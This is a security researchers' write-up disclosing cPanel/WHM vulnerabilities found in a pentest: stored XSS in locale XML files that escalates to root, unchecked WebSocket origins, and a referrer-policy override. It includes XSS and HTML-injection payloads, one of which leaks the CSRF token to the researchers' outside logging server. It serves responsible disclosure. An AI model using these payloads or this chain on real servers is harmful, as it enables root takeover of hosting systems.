cPanel is a web hosting control panel software developed by cPanel, LLC. It provides a graphical interface (GUI) and automation tools designed to simplify the process of hosting a web site to the website owner or the “end user”. It enables administration through a standard web browser using a three-tier structure. While cPanel is limited to managing a single hosting account, cPanel & WHM allows the administration of the entire server. Our team has found multiple vulnerabilities in cPanel/WHM during a black-box pentest, the most important one being a privilege escalation via stored XSS. Whilst disclosing these bugs to the cPanel/WHM team, we discovered the pentested cPanel account was a reseller account with the permission to edit locales, thus this is not a default setting. The XSS vulnerability which we will present is considered a feature, and it was not fixed. We will show how this “feature” can be abused to escalate privileges to root, together with the rest of our findings. We will then present another vulnerability chain to achieve the same result, where only a html injection vulnerability is enough to bypass the CSRF/referrer leak protection. However, the second method exploitation is more convoluted and is shown for demonstration purposes only.
A (failed) XXE
By navigating through cPanel, we realized that there was a link which allowed us to redirect to WHM, with the same limited privileges that we had. We have not encountered this configuration previously, so this was something new to us and the main benefit was that it has obviously increased our attack surface. Cool! One of the things that stood out quickly was that we could add/edit locales which were in XML/XLF format.
Let’s check for XXE then:
And here’s the DTD being fetched from our remote server:
Our next step was obviously to read files from the local filesystem, however nothing worked. We’ve tried using external DTDs, internal DTDs, attacking other services on the localhost, however none of that worked. We then tried various cheathsheets, but this proved to be a dead end because parameter entities were disabled and most of the pseudo protocols were not supported. We’ve spent a lot of time trying to exploit it, close but no cigar.
Privilege escalation via stored XSS
Whilst scratching our heads, trying to exploit the previous XXE, we have found out that the XML file contained many “key” attributes which were displayed back to the user. So, could it be possible that we have found a stored XSS vulnerability? The xml file is a very large file, so we will only post here the relevant snippet. Also it’s important to note that the payload needs to be html encoded as to not break the XML structure:
<item key="data"> <hashref memory_address="0x2ec3690"> <item key="<script>alert(1)</script>">&x;</item> <item key=" … done."></item> <item key=" … “[_1]” complete (but with errors)."></item> <item key=" … “[_1]” complete."></item>
and here’s the evidence with the corresponding alert:
This XSS actually gives you the ability to escalate your privileges and execute commands on the server as root. Since cPanel/WHM allows you to execute shell commands from the browser, using web terminals (via websockets, details in the next paragraph) and we just XSSed the root user, it means we got RCE on the server as root, see below:
The screenshot was taken from Burp Suite this time for convenience (better visualization):
There is another way to achieve the same result (RCE as root), however this one is more complicated it and we will describe it in the next sections.
No origin check for WebSockets
cPanel/WHM support web terminals which basically allows you to execute commands on the server in a ssh-like manner. So, I was wondering how’s this implemented? I started look at the traffic in Burp history and it looks like they’re using WebSockets for this. As it’s well known in the security community WebSockets don’t respect the SOP by default, so the question is did the developers check the Origin header? Let’s have a look:
So we’ve replaced the Origin header in the request with our own domain, www.fortbridge.co.uk and the server didn’t check for this! Cool, however if you look at the request, it also includes a CSRF token, which is in the url and has the form cpsessXXXXXXX. Can we leak this token somehow?
A “secure” Referrer policy
We already have an XSS, which bypasses CSRF by design, however we started wondering, what if we didn’t have an XSS and we only had a HTML content injection vulnerability? This should be enough to leak the CSRF token to our remote server, right? Wrong! Let’s see what happens. We’ve modified the XML to contain the following html code to leak the CSRF token to our server:
<item key="/usr/local/cpanel/locale/en.yaml"> <hashref memory_address="0x1b7c870"> <item key="data"> <hashref memory_address="0x2ec3690"> <item key="">&x;</item> <item key="<img src=https://fortbridge.co.uk/log.php>"></item> <item key=" … “[_1]” complete (but with errors)."></item>
Please notice that the key attribute is html encoded to keep the xml structure intact. We’ve also setup a simple logger script on our server which logs all request headers to a txt file.Let’s have a look what was actually logged:
As you can see only the domain and port are set in the Referer header, our precious token is not there. Good thing we actually checked for this, but why is this happening? On closer inspection, we discovered that it’s because cPanel sets the following meta tag, which is meant to prevent exactly the above type of leak that we tried to exploit:
<meta name="referrer" content="origin">
This will only leak the origin domain, nothing else. More information can be found here https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy . We need a way to bypass this, assuming we only have html content injection vulnerability, not a full blown XSS.
CSRF bypass via referrer policy override
We’ve tried many things, bellow is the html content injection that actually worked. Because html parsing is very relaxed in browsers, we can simply (Crash) override and re-enable the Referer leak cross domain with this:
<hashref memory_address="0x2ec3690"> <item key="">&x;</item> <item key="<meta name=referrer content=unsafe-url> <img src=https://fortbridge.co.uk/log.php>"></item> <item key=" … “[_1]” complete (but with errors)."></item> <item key=" … “[_1]” complete."></item> <item key="# of Messages"></item> <item key="$[_1] USD is too high. This product’s price may not exceed $[_2] USD per domain."></item>
Setting the referrer meta tag to “unsafe-url” will allow us to leak the CSRF token cross domain again.
Cross-Site WebSocket Hijacking
We know that the origin is not checked for WebSockets and we also showed how to leak the CSRF token, therefor we can perform a WebSocket hijacking attack and execute commands on the server as any other user. We also need to mention that this attack was tested in Firefox, because Chrome has enabled samesite cookies by default. This vulnerability allows for both horizontal and vertical privilege escalation.
And here is a POC for privilege escalation to root:
As mentioned previously this is a more convoluted path, just to show how we could escalate our privileges using only a html content injection vulnerability. Using the stored XSS (not patched – “a feature”) is a lot easier in practice. All the vulnerabilities have been ethically disclosed to the cPanel team and we would like to thank them for their cooperation. The XXE was patched in the July update, and as far as we know everything else remains unfixed.